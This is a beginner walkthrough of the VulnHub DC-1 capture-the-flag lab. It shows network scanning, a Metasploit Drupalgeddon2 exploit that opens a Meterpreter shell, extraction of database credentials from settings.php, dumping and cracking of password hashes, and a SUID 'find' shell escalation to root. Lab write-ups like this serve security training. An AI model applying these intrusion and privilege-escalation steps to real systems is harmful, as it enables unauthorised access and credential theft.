DC-1 VulnHub (Drupalgeddon2 | Privilege Escalation | Root Flag)

Introduction

DC-1 is a beginner-friendly VulnHub machine that focuses on:

• Web exploitation
• Drupal vulnerability
• Database credential reuse
• Linux privilege escalation

In this lab, we start with web enumeration, gain a Meterpreter shell through Drupalgeddon2, extract database credentials, log in to MySQL, dump user hashes, and finally escalate privileges to root to capture all flags.

Objective

• Gain initial access
• Capture all flags
• Perform privilege escalation to root

Lab Setup

Explain briefly:

• Kali Linux attacker machine
• DC-1 VM running in VirtualBox / VMware
• Network mode: NAT / Host-only
• Tools Used: Nmap, Nikto, Exploit-DB, Netcat, GTFOBins
• Objective: Gain root access and retrieve the final flag.

>Both machines were configured in the same network so they could communicate directly.

First, identify the target IP.

netdiscover

Then Network Scanning

nmap -sC -sV -p- 192.168.213.131n

Result

Web server running and Drupal CMS detected

-> This confirms the target is a Drupal-based application.

Open Ports Identified:

• 22/tcp — SSH
• 80/tcp — HTTP (Web Server)
• 111/tcp — RPC Bind

Enumeration

Now port 80 is open, let’s check HTTP services

Accessing http://192.168.213.131 in a browser shows a website revealed a Drupal login panel.

When we access the web service we find that the server is running Drupal CMS. As the target system is running Drupal CMS, we can check if it is vulnerable to Drupalgeddon2 exploit. We run the exploit using Metasploit on the target machine and successfully able to get a reverse shell.

Exploitation (Metasploit)

msfconsole
search Drupal
use 1 
set Rhost <ip>
run

Result

Meterpreter session opened

This means we got initial low-privileged access.

Here we have Flag 1

cat flag1.txt

Next find Flag 2

cd sites 
cd default
cat settings.php

Now we have Flag 2

Finding Flag 3

Convert the basic shell into a fully interactive TTY shell and then MySQL Login Command

mysql -u dbuser -p

Earlier, from settings.php, we extracted

username: dbuser
password: R0ck3t
database: drupaldb

Now we have to gain access to the database using those stolen credentials.

show databases;
use drupaldb;
show tables;
select * from users;

We obtained Drupal user password hashes including the admin.

After Carcking the hash using hashcat.

The password was 53cr3t

These credentials allowed login into the Drupal admin panel.

Finding Flag 4

exit from the MySQL and go to home directory

here we have Flag 4 directory in which we have Flag 4 in it.

Find Flag 5

Privilege Escalation

It is the moment you moved from www-data ➝ root

Find binary had the SUID bit set.

That means, it runs with the permissions of its owner (root) — not the current user.

find . -exec /bin/sh \; -quit

whoami
root

🎉Root Access Gained 🎉

Retrieving the Final Flag

Navigating to the root directory

ls
cd root
ls
thefinalflag.txt

cat thefinalflag.txt

Root Access Achieved Final Flag Captured🎉

Conclusion

• Gained initial access by exploiting Drupalgeddon2
• Extracted database credentials from configuration files
• Accessed MySQL and reused credentials for admin login
• Performed local enumeration to find flags
• Escalated privileges using SUID misconfiguration
• Successfully captured the root flag
• Learned the importance of enumeration and credential reuse in real-world VAPT